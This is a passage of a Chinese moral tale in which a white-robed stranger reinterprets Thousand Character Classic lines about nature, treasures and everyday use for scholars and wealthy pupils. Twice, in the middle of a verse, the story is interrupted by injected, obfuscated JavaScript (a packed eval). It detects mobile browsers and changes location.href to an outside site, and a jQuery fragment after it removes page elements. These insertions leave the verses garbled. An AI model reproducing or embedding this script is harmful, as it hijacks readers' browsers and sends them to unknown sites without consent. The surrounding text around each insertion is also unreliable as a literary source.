“云是湖中水,受日蒸腾,化汽升空。雨是空中云,遇冷凝结,落回湖中。这一升一落,是水之游,非云雨之变。” 又从袖中取出一只陶碗,碗中盛清水,以手扇风,水面起波。 “这碗中之水,若置于烈日之下,终将干涸。水汽升腾,聚而为云;若遇碗盖阻隔,复凝为水珠,此象犹雨之成。云雨本为一物,何来贵贱之分?云浮九天,常见于仰观之际;雨落尘埃,每得于俯接之时。然则仰观所见为贵,俯接所获为贱乎?” 一士子道:“云行雨施,品物流形。此乃圣人之教,岂是碗水可喻?” 白衣人将陶碗递给他:“请君观碗。水在碗中,是静;水汽升腾,是动;凝珠下落,是化。静动化之间,可是‘品物流形’?圣人观天地而得理,我等观碗水亦可得理。理在天地,亦在碗中。” 贾夫子捻须:“此言……倒有几分机锋。然云雨乃天地大化,终非碗水可比。” “天地大化,亦在微末。”白衣人指向楼外杨柳,“此刻谷雨,杨柳沾雨,农人喜,因雨润稼禾。这喜,是为天地大化,还是为碗中水?农人不知大化,只知雨好。此便是真知。” 二、霜露之辨 日近亭午,湖上暖湿之气氤氲蒸腾。白衣人自瓦罐中掬起一捧清水,倾于望湖楼石栏平面之上。复从怀中取出一枚光润沁凉之物,似玉而寒意森然,紧贴罐壁外侧。俄顷,罐外壁竟凝出细密水珠,莹然欲滴。 “再论‘露结为霜’。先生言地气上浮,遇寒成霜,固合古训。然露与霜,果真二物否?” 其人指罐壁水珠曰:“此即露。”又示手中寒玉表面浮现之白色结晶:“此即霜。露者,空中水汽遇冷液化成珠;霜者,同气遇寒凝华成晶。本皆水汽所化,惟寒温有别,形态遂异——此可实证。” 寒玉传至诸生手中,触手凛冽。白衣人徐言:“世人贵玉而贱霜。然玉本质为石,霜本质为水。石性恒常,水形万变。岂可以‘变’与‘不变’定贵贱耶?” 一士子沉吟片刻,方道:“玉质温润坚洁,可久持而传世;霜气清寒飘忽,遇暖阳则旋消。一者恒存,一者无常,贵贱之别,岂非自然?” “德者,人之投射,非物之固有。”白衣人声调平缓,“玉不琢不成器,赖人工斧凿;霜不降不成晶,凭天时寒燠。农人睹霜覆田野,知添衣保稼;匠人琢玉饰美人,为悦目增华。一者关乎生计,一者关乎艺趣。生与艺,孰为根本?孰为枝叶?” 言毕行至栏边,指苏堤上一荷担老农:“彼翁晨起见田畦凝霜,便驻足俯身,有所处置。此霜生自天寒,彼玉琢自山璞,皆造化所孕。翁因霜而虑稼穑,女因玉而饰容仪——一则关乎生计,一则关乎仪容。各依其用,各遂其情,物之贵贱,岂在物自身耶?” 贾夫子捻须默然片刻,方道:“依尔所言,霜露金玉之贵贱,实乃人心自生分别?” “正是。”白衣人微颔首,“云腾致雨,乃天象循环;露结为霜,乃地气应候。天道自然,本无善恶。人因云雨而喜忧,缘霜露而趋避,此皆心感于物,非物自有等差。金玉之道,亦同此理。” 三、金生之辨 白衣人自瓦罐中取出那片覆着绿锈的铜片,以粗布徐徐擦拭,露出底下暗沉铜色。 “‘金生丽水’。先生解作金能生水,故丽水之中出金。然金果真生水否?水果真生金否?” 他将铜片浸入身旁清水,片刻提起,但见铜面又浮起一层青绿锈迹,锈屑落处,水质微浊。 “铜遇水湿而生锈,锈入水而水浊。此乃金生水耶?抑或水生金耶?实乃金水相触,共生锈浊。至若丽水产金,盖因水流冲刷山岩,金砂随之沉积——是水运金,非水生金。” 复从袖中取出一枚铜钱,上有“通宝”二字隐约可辨。 “此物是金否?是水否?铜为金质,钱如水流——流通若水,方显其用。世人谓‘金生丽水’,实是见金能流通,犹水之润泽万物。然金若不流,便是死物;水若不动,便成腐潦。生者,动也。金动则生利,水流则生运。此方为‘金生丽水’之实义。” 一士子问道:“如此,金之贵,究竟贵在何处?” “贵在为人所用。”白衣人言罢,将手中铜钱投入楼角木箱——那箱旁木牌写着“施药助老”四字。 “此钱入箱,可易米粮,可活人命。此时之金,其贵在能济急难。若将此钱深藏秘室,百年不见天日,则与顽石何异?金之贵,不在其坚重之光,而在其流通之用。丽水出金,是天工赐予;人以金利世,是人心明达。若藏而不用,既负天工,亦负人心。” 贾夫子静听至此,对诸生道:“昔贤有云:衣食足而后知荣辱。金玉财货,本为养民之资。若民不得其养,虽有金山玉矿,又何贵可言?” 四、 玉出的真义 白衣人最后取出那几块顽石,石色杂驳,貌不惊人。他以小锤轻敲一石,石裂,内里透出温润光泽。 “‘玉出昆冈’。贾夫子解为玉蕴石中,故昆冈出玉。然玉真是‘出’自昆冈么?” 他将碎石拼合,又成顽石状。 “玉在石中,不剖不见。昆冈有玉,亦有石。玉是石之精,石是玉之母。人贵玉而贱石,然无石,何来玉?无昆冈,何来玉出?此是本末之思。” 又取出一块已琢之玉璧,璧上雕云纹。 “这玉璧,是玉乎?是石乎?琢前是石,琢后是玉。琢者,人也。玉出昆冈,是天工;玉成璧器,是人力。天工赐璞,人力成器。器以载道,方是真玉。” 他指着西湖远山:“那山可是昆冈?山中可有玉?不知。但山中必有石。石可筑基,可铺路,可砌屋。玉饰美人腕,石支百姓屋。屋与腕,孰重?” 士子们默然。白衣人缓声道:“玉出昆冈,是天地藏宝以待有缘。有缘者得玉,当思:此玉何用?饰身,饰心,还是饰世?昔有卞和献璞,断足不悔,是因他知璞中有玉,玉中有道。道在玉中,更在人心。” 贾夫子长叹:“老朽讲‘玉出昆冈’数十年,只道是天地精华,当珍当贵。今日方知,玉之贵,贵在道,非在质。若无道,玉是玩物;若有道,石亦是玉。” 五、 谷雨的启示 午后微雨,湖上烟波浩渺。白衣人邀众士子下楼,到堤上茶棚。棚中正煮谷雨新茶,茶香与雨气交融。 白衣人斟茶分与众人,缓声道:“今日谷雨,贾夫子教你们‘云腾致雨,露结为霜。金生丽水,玉出昆冈’。这是天地造化,是万物至理。” 他指着杯中茶烟:“这茶烟,可是云?这茶水,可是雨?这茶凉后杯壁水珠,可是露?这茶渣埋土,日久或化玉质——可是金玉?” 又指向湖上渔船:“渔人撒网,网起是银鱼。银鱼是金是玉?渔人售鱼换米,米是金是玉?老农得米炊饭,饭是金是玉?” 贾夫子端茶在手,对士子们道:“今日这堂课,老夫加一句:云腾致雨,当知云雨皆是水;露结为霜,当知霜露本同源。金生丽水,金在流通;玉出昆冈,玉在琢磨。造化在天地,亦在眼前一杯茶、一网鱼、一碗饭中。尔等可记下了?” 众士子齐声:“记下了!” “那便饮茶吧。茶中有云雨,有霜露,有金玉——饮下去,化在身心里,才是真造化。” 尾声·湖上造化 自那日后,望湖楼多了一景。 贾夫子仍讲理学,但每讲“云腾致雨”,必问士子:“你可曾观壶中水沸?可曾见晨间叶露?”每讲“金生丽水”,必问:“你可知一钱可活几人?一玉可载何道?”每讲“玉出昆冈”,必问:“你可见匠人琢石?可知石中天地?” 贾夫子遂于楼前立一木牌,亲书数行: 云腾为雨,同一水性; 露凝作霜,无非寒晶。 金玉虽珍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223543|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终归物用; 人心若镜,照见分明。 造化岂在远,杯水可观澜; 至理何须深,日用即文章。 士子们每月需访市井,问渔人云雨,问农人霜露,问匠人金玉。有士子问:“这能助功名么?”贾夫子答:“功名是器,道是体。不明造化,不明日用,纵得功名,何益于世?” 后来杭州兴起“造化日”——每年谷雨,渔人、农人、匠人、商人齐聚望湖楼前,各陈其“造化”:渔人献银鱼,农人献新茶,匠人献琢器,商人献流通簿。贾夫子观之,叹:“这才是真云腾致雨——水汽循环,生生不息;这才是真金生丽水——财货流通,惠泽万民。” 那白衣人再未出现,但每年谷雨,望湖楼前总有陌生人来献一物:或是一罐湖水,或是一包霜晶,或是一枚锈钱,或是一块顽石。献物人总说:“云腾致雨,露结为霜。金生丽水,玉出昆冈。造化在眼前,人心是昆冈。” 贾夫子致仕那年,士子们为他编《造化日录》,序言是他亲笔: “讲学四十载,始悟学在闾巷。 云腾雨降,无非水化;露结霜凝,俱是寒形。 金玉虽珍,终归器用;人心若镜,自照虚盈。 百姓日用,即见天工;一念通明,胜过连城。 白衣一点,谷雨开蒙。 从此观造化先观人,论至理先论心。” 谷雨之日,老儒生凭栏望湖,但见烟波浩渺,云雨氤氲。堤上传来隐约渔歌: “云腾是水汽,致雨是泪滴—— 泪滴落湖化春水,春水养鱼鱼米香。 露结是珍珠,为霜是盐粒—— 盐粒调得百味足,珍珠不如菜根长。 金生不在水,在人心头记—— 心头有金济人急,不藏密室发光华。 玉出不在冈,在匠人手底—— 手底琢出天地心,顽石也能放光芒——” 他捻须微笑,对湖举杯:“云腾致雨,露结为霜。金生丽水,玉出昆冈。这十六字,老夫解了四十年,今日方解透。透在何处?在湖水,在茶叶,在鱼米,在人心。天地造化,本自平常。平常之中,自有云雨霜露,自有金玉满堂。” 湖光山色,烟雨空蒙。造化无言,万物有理。而这理中,有云雨,有霜露,有金玉,更有滚滚红尘里,寻常百姓家的炊烟暖意、生生不息。 本章诫世 一、 造化真义训 - 云腾致雨,露结为霜。金生丽水,玉出昆冈 - 破解法:观造化者,自问“云雨何物?霜露何形?金玉何贵?丽水昆冈何奇?是天道,是物理,是人心,是日用?” 二、 四化四常 - 云腾致雨——是水之循环,非云雨之贵贱。云在天为贵,雨在地为贱?本是一水,何分高下 - 露结为霜——是水之形态,非霜露之重轻。露是液,霜是晶,因温而异,皆是水 - 金生丽水——是金水相成,非金生水之玄理。金利流通如水,水生金脉如流,流通方生 - 玉出昆冈——是天人合运,非玉出石之神秘。天工赐璞,人力琢器,器以载道 - 四明:造化是常,非玄;是日用,非虚理。云雨霜露是水之常,金玉是物之常,丽水昆冈是地之常。常中见道,方是真知 三、 平常大道 - 深层隐喻:天地造化,如湖水一泓。云腾是水汽升,致雨是水汽落;露结是水凝珠,为霜是水凝晶;金生是水运金,玉出是石蕴玉。一切造化,皆在寻常水土中。人见云雨而仰观,见霜露而俯察,见金玉而珍视,然不知仰观俯察珍视的,本是同一湖水、同一块石。心在造化外,造化是玄妙;心在造化中,造化是平常 - 终极指向:世人观造化,易入歧途:以云雨为天道,不知是水循环;以霜露为地气,不知是水变形;以金玉为至宝,不知是物用;以丽水昆冈为神奇,不知是地常。真正的造化,在渔人网中,在农人锄下,在匠人锤前,在商贾秤上。平常日用,皆是造化;人心明澈,皆是金玉 谷雨化偈: 谷雨杭州望湖楼,贾师授造化至理。 云雨霜露金玉冈,字字句句是天机。 白衣堤上说故事,云雨是水非玄理。 金玉是物非至宝,造化在常非在奇。 从此观化先观常,至理日用是真理。 后世叹: 云腾致雨是水游,露结为霜是水凝。 金生丽水是流通,玉出昆冈是天人。 贾师讲学重玄理,白衣说化重平常。 从此造化是日用,金玉在心非在山。 正是: 谷雨杭州说造化,望湖楼前授天机。 云雨霜露金玉冈,字字玄妙句句理。 白衣堤上说故事,造化是常常是道。 从此观天先观水,至理自在茶杯中。 125.物用谳 楔子·端阳鉴宝 端午时节,金陵城“聚珍阁”内,博古先生秦夫子正指点十几个富家子弟鉴赏珍宝: “……剑号巨阙,珠称夜光,此乃天下至宝。巨阙剑,欧冶子所铸,斩金截玉,威震诸侯;夜光珠,南海所出,暗室生辉,价值连城。果珍李柰,菜重芥姜,此乃人间至味。李柰甘美,芥姜辛辣,皆不可或缺。物有贵贱,用有轻重,此乃天理人伦……” 正说着,阁外秦淮河畔传来清亮儿歌: “剑号巨阙是铁块,珠称夜光是石头。 果珍李柰是解渴,菜重芥姜是调口。 铁块能砍柴,石头能打狗。 李柰能充饥,芥姜能下酒——” 秦夫子皱眉推窗,但见河畔柳荫下,众渔家稚子正围着一个白衣人唱闹。白衣人坐在青石矶头,面前摊着几样物事:一柄锈柴刀、一颗寻常鹅卵石、几枚青李黄柰、一把芥菜几块老姜。斗笠是蒲草与艾叶混编,檐边缀着几串五彩丝。白衣是苎麻所制,洗得泛白,袖口沾着苇叶清香。木剑插在石缝,剑穗是褪色的五色丝绦打成如意结。面上蒙着本色棉纱,只露出一双明澈如秦淮水的眼睛,正教一个总角小童用鹅卵石打水漂。 “荒唐!”秦夫子拂袖,“巨阙夜光,乃天下奇珍;李柰芥姜,乃世间美味。尔等渔子,安敢以柴刀卵石比之?” 白衣人抬头,声音清朗如端午风:“先生教训得是。在下教孩子们玩石品果,正是感悟物用——柴刀砍柴,卵石铺路,李柰解渴,芥姜调味。物物皆有用,何必强分贵贱?” 秦夫子冷笑:“你既敢妄论珍宝,可敢进阁来辩?也让这些子弟听听,何为真贵重!” 一、 剑的真锋 白衣人随秦夫子进阁。富家子弟见他布衣素履,皆有哂色。白衣人从怀中取出一柄木剑,长三尺,无锋无锷。 “先说‘剑号巨阙’。秦夫子言其斩金截玉,威震诸侯,极是。然剑之所以为剑,在锋乎?在用乎?” 他将木剑递给最近一个锦衣少年:“公子可试挥此剑。” 少年嗤笑:“木剑岂能称剑?” “木剑不是剑,何物是剑?”白衣人反问,“铁铸为剑,木削亦为剑。剑之为剑,在其形乎?在其用乎?若论斩金截玉,巨阙能之,柴刀亦能之。”他指向窗外渔舟,“那渔人剖鱼之刀,日日斩鳞截骨,可称剑否?” 一子弟道:“剑乃百兵之君,有礼制威仪,岂是庖刀可比?” “礼制在人,不在剑。”白衣人缓声道,“昔有渔夫持桨退敌,桨是剑否?有农人挥锄护村,锄是剑否?巨阙悬于诸侯壁,是礼;柴刀握于樵夫手,是用。礼用之间,孰重?” 秦夫子捻须:“剑有文武。文剑饰礼,武剑建功。巨阙二者兼备,故为至宝。” “文武在人心,非在剑身。”白衣人指着阁中悬挂的装饰剑,“此剑镶金嵌玉,可为礼乎?可斩敌乎?若悬于壁,是礼器;若握于手,是凶器。礼器凶器,一念之间。巨阙若是凶器,斩的是人命;柴刀若是凶器,斩的是柴薪。人命贵,柴薪贱,故剑贵刀贱乎?” 阁中一时寂然。白衣人取回木剑,轻抚剑身:“我这木剑,不斩金玉,不伤人命。但它可指路,可量地,可教稚子明剑理。这用,可逊于巨阙?” 二、 珠的真光 日头渐高,阁内珍宝映光。白衣人从袖中取出那颗鹅卵石,置于紫檀案上。石色灰白,毫无光彩。 “再说‘珠称夜光’。秦夫子言其暗室生辉,价值连城,极是。然珠之所以为珠,在光乎?在明乎?” 他将鹅卵石递给一个佩珠少年:“公子可持此石,与夜光珠比光。” 少年嗤之以鼻:“顽石岂能比珠?” “请观。”白衣人吹熄烛火,阁中顿暗。他取夜光珠置于案,珠发幽绿微光;又取鹅卵石,石沉暗如故。 众人哂笑。白衣人却道:“珠光可照几步?” “三步之内可见物。” “烛光可照几步?” “十步之内明如昼。” 白衣人重点烛火:“珠光不如烛光,为何贵珠贱烛?因珠稀罕,烛寻常。稀罕者贵,寻常者贱,此人心之偏,非物用之实。” 他指向窗外河灯:“今夜端午,万盏河灯映秦淮,光可照夜。那一盏灯,是珠贵,还是灯贵?灯烛照人夜行,珠光照人赏玩。夜行关乎性命,赏玩关乎雅趣。性命与雅趣,孰重?” 秦夫子沉吟:“珠之为宝,在其珍稀难得。物以稀为贵,自古皆然。” “稀者贵,是人心之欲,非物用之需。”白衣人将鹅卵石投入鱼缸,石沉水底,“此石铺路,千人踏而不怨;砌墙,百年立而不倾。夜光珠可乎?珠需锦匣珍藏,畏湿畏碰;石可任雨任晒,无求无怨。从物用论,石胜于珠。从人心论,珠贵于石。贵在人心,非在物用。” 三、 果的真味 午时将至,阁外传来粽子香。白衣人从篮中取出青李黄柰,剖开展示:李肉青透,柰肉黄润。 “三说‘果珍李柰’。秦夫子言其甘美,极是。然果之所以为果,在味乎?在养乎?” 他将李柰分与众人品尝。子弟们皆道甘甜。 “李柰之珍,珍在何处?”白衣人问。 一子弟答:“珍在难得。李熟于初夏,柰熟于夏,皆非四季常有。” “若四季常有,便不珍乎?”白衣人指向窗外市集,“那挑担老妪,卖的是桃杏梨枣,四季轮转皆有果。桃甜杏酸梨脆枣香,可珍否?农人种果,是为养家;商人贩果,是为谋生;你我食果,是为解馋。解馋是欲,养家是需。欲与需,孰重?” 秦夫子道:“圣人有言:食不厌精,脍不厌细。李柰乃果中上品,自有其贵。” “上品下品,是人之分,非果之性。”白衣人取出一枚野山楂,其貌不扬,其味酸涩,“此果生于山野,鸟雀食之,樵童采之。在李柰旁,是下品。然饥者食之可果腹,医者用之可入药。果腹救命,可逊于解馋?” 他指着阁中果盘:“这盘李柰,值银三钱。三钱银可换糙米一斗,够三口之家十日炊。若以解馋之李柰,换活命之米粮,孰珍?李柰之珍,珍在口舌;米粮之珍,珍在性命。口舌与性命,孰重?” 众子弟默然。白衣人缓声道:“果珍李柰,是因其味美。然野果亦有味,何以不珍?因人择其美者珍之,丑者弃之。择弃之间,可见人心。” 四、 菜的真重 白衣人最后取出那把芥菜、几块老姜。芥叶青翠,姜块黄褐,其貌不扬。 “四说‘菜重芥姜’。秦夫子言其辛辣不可或缺,极是。然菜之所以为菜,在味乎?在功乎?” 他将芥姜递给阁中庖厨:“老师傅,此物在厨中何用?” 老庖厨躬身:“芥可腌渍佐粥,姜可去腥调味。二者虽贱,一日不可缺。” “如何不可或缺?” “无芥,食无辛香;无姜,腥膻不去。虽王侯宴席,亦需姜芥调味。” 白衣人颔首,转向秦夫子:“秦先生,巨阙剑可一日不用,夜光珠可一世不观,李柰可经年不食。然姜芥可一日缺否?” 秦夫子捻须:“庖厨之言不虚。老夫每日晨起,必食腌芥佐粥;每餐鱼肉,必佐姜醋。确不可缺。” “这便是‘重’。”白衣人正色,“重者,不可缺也。巨阙虽贵,可缺;夜光虽珍,可缺;李柰虽美,可缺。唯姜芥虽贱,不可缺。然人言‘菜重芥姜’,往往口重而心轻。宴席之上,鲍参翅肚居中央,姜芥葱蒜置角落。重乎?轻乎?” 他指着窗外市井:“那菜摊老翁,晨起贩姜芥,一日所得不过数十文。这数十文,换米养家,供子读书。姜芥之重,重在养千家万户,非在宴席一隅。重是日用,非是名贵。” 秦夫子长叹:“老朽鉴宝数十年,只道巨阙夜光是宝,李柰芥姜是味。今日方知,宝在有用,味在养人。有用养人者,虽贱亦重;无用悦人者,虽贵亦轻。” 五、 端午的启示 午时三刻,龙舟鼓声自河上传来。白衣人邀众人出阁,到河畔茶棚。棚中正煮粽子,桌上摆着“五黄”:黄鱼、黄鳝、黄瓜、咸蛋黄、雄黄酒。 白衣人斟雄黄酒分与众人,缓声道:“今日端午,秦夫子教各位‘剑号巨阙,珠称夜光。果珍李柰,菜重芥姜’。这是物之贵贱,用之轻重。” 他指着河中龙舟:“那舟子手中桨,是剑否?可劈波斩浪。那舟头灯笼,是珠否?可照夜引航。那舟中角黍,是李柰否?可慰劳力。那佐酒姜蒜,是芥姜否?可祛湿寒。” 又指向岸边观舟百姓:“渔夫手中网,可捕黄鱼;农人手中锄,可种黄瓜;庖厨手中刀,可剖黄鳝;母亲手中线,可缠彩粽。这些物,可称巨阙?可称夜光?可称李柰?可称芥姜?” 秦夫子举杯在手,对子弟们道:“今日这堂课,老夫加一句:剑之贵,贵在护人,非在斩金;珠之贵,贵在照夜,非在炫奇;果之贵,贵在养人,非在甘美;菜之重,重在日用,非在辛辣。物之用,在人心;物之贵,在养人。尔等可记下了?” 众子弟齐声:“记下了!” “那便观此酒吧。酒渍雄黄,可祛瘴疠;粽裹黍粟,能慰饥肠。祛瘴疗饥,便是大用。” 尾声·秦淮物用 自那日后,聚珍阁多了条规矩。 秦夫子仍鉴宝,但每鉴一物,必问主人:“此物何用?”若答“赏玩”,则摇头;若答“养人利世”,方点头。有子弟献夜光珠,夫子问:“可照几人夜行?”子弟赧然。有商人献巨阙剑,夫子问:“可护几村安宁?”商人默然。 他在阁前立木榜,刻白衣人当日语: 剑贵在护,非在锋 珠贵在明,非在光 果贵在养,非在味 菜重在用,非在名 物物皆有用,人心分重轻 富家子弟每月需访市井,问渔人网何用,问农人锄何用,问匠人锤何用,问母亲针线何用。有子弟问:“这能助家业么?”秦夫子答:“家业在物用,物用在养人。不知物用,纵有万贯,何益于世?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223544|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来金陵兴起“物用节”——每年端午,渔人、农人、匠人、庖厨齐聚秦淮河畔,各陈其“用物”:渔人献网,农人献锄,匠人献锤,庖厨献刀。秦夫子主鉴,评曰:“网可捕鱼养家,锄可种粮活人,锤可造屋安身,刀可烹食养命。此四物,可称巨阙、夜光、李柰、芥姜。”观者叹服。 那白衣人再未出现,但每年端午,秦淮河畔总有陌生人来献一物:或是一柄旧柴刀,或是一颗寻常石,或是一篮野果,或是一把老姜。献物人总说:“剑号巨阙,珠称夜光。果珍李柰,菜重芥姜。物用是本,人心是秤。” 秦夫子古稀之年,散尽所藏珍宝,唯留四物悬于阁中:一柄樵夫赠的旧柴刀,一颗稚子赠的鹅卵石,一篮农人赠的野山楂,一把庖厨赠的老姜块。下书: “鉴宝五十年,方知宝在民间。 柴刀可砍柴,卵石可铺路,山楂可果腹,老姜可调味。 物物有用,用即是宝。 白衣一点,端阳开蒙。 从此鉴物先鉴用,论贵先论心。” 端午之日,老鉴宝师临窗观河,但见龙舟竞渡,百舸争流。岸上传来隐约童谣: “剑号巨阙是铁块,能砍柴来能劈山—— 樵夫手里柴刀快,养家糊口赛宝剑。 珠称夜光是石头,能铺路来能垒墙—— 孩童手掷打水漂,一石激起千层浪。 果珍李柰是解渴,能充饥来能尝鲜—— 山间野果无人问,饥年救人万万千。 菜重芥姜是调口,能佐餐来能祛寒—— 一日三餐不离它,才是真重才是宝——” 他捻须微笑,对河举杯:“剑号巨阙,珠称夜光。果珍李柰,菜重芥姜。这十六字,老夫解了五十年,今日方解透。透在何处?在柴刀,在卵石,在山楂,在老姜。物之用,在养人;物之贵,在人心。人心清明,则物物皆宝;人心蒙尘,则宝亦是石。” 河风拂面,粽香盈巷。物用无言,人心有秤。而这秤上,有巨阙,有夜光,有李柰,有芥姜,更有滚滚红尘里,寻常百姓家的炊烟暖意、生生不息。 本章诫世 一、 物用真义训 - 剑号巨阙,珠称夜光。果珍李柰,菜重芥姜 - 破解法:论物用者,自问“剑何以贵?珠何以珍?果何以美?菜何以重?是物之本,是人之欲,是名之累,是心之偏?” 二、 四物四用 - 剑号巨阙——贵在斩金截玉,更贵在护国卫民。若只悬壁,是死铁;若握在手,是凶器。真贵在护,非在锋 - 珠称夜光——珍在暗室生辉,更珍在照夜引路。若只藏椟,是顽石;若悬于途,是明灯。真珍在明,非在光 - 果珍李柰——美在甘甜适口,更美在养人果腹。若只悦口,是玩物;若活人命,是真珍。真珍在养,非在味 - 菜重芥姜——重在调味佐餐,更重在日用不可或缺。若只调口,是辅料;若养千家,是根本。真重在用,非在名 - 四明:物有本用,人贵之;物有虚名,人惑之。巨阙是铁,夜光是石,李柰是果,芥姜是菜。铁可铸剑亦可铸犁,石可饰冠亦可铺路,果可悦口亦可活命,菜可佐餐亦可养家。用是本,名是末 三、 日用大道 - 深层隐喻:天下万物,皆有其用。巨阙之贵,贵在“剑”名,然剑之用,在护在斩,非在名。夜光之珍,珍在“珠”名,然珠之用,在明在照,非在珍。李柰之美,美在“果”名,然果之用,在养在活,非在美。芥姜之重,重在“菜”名,然菜之用,在日在需,非在重。名是人之赋,用是物之实。重名轻用,则巨阙不如柴刀,夜光不如烛火,李柰不如野果,芥姜不如藜藿。重实轻名,则一草一木,皆是珍宝 - 终极指向:世人论物,易入歧途:以名为贵,不以用为贵;以稀为珍,不以养为珍;以美为美,不以活为美;以重为重,不以需为重。真正的物用,在渔人网中,在农人锄下,在匠人锤前,在母亲手中。日用寻常,方是真贵重;养人利世,方是真珍宝 端阳鉴偈: 端午金陵聚珍阁,秦师鉴宝论贵重。 巨阙夜光李柰姜,字字珍稀句句宝。 白衣河畔说故事,剑是铁块珠是石。 果是解渴菜调味,物用是本名是末。 从此鉴物先鉴用,贵重在养非在珍。 后世叹: 剑号巨阙是铁成,能斩能护方为贵。 珠称夜光是石生,能照明暗方为珍。 果珍李柰是木实,能养人能方为美。 菜重芥姜是地生,能佐餐需方为重。 秦师鉴宝重名贵,白衣说物重日用。 从此物用是根本,珍宝原是平常心。 正是: 端午金陵说物用,聚珍阁前论贵重。 巨阙夜光李柰姜,字字珍稀人人羡。 白衣河畔说故事,物用是本名是末。 从此论物先论用,日用寻常是真宝。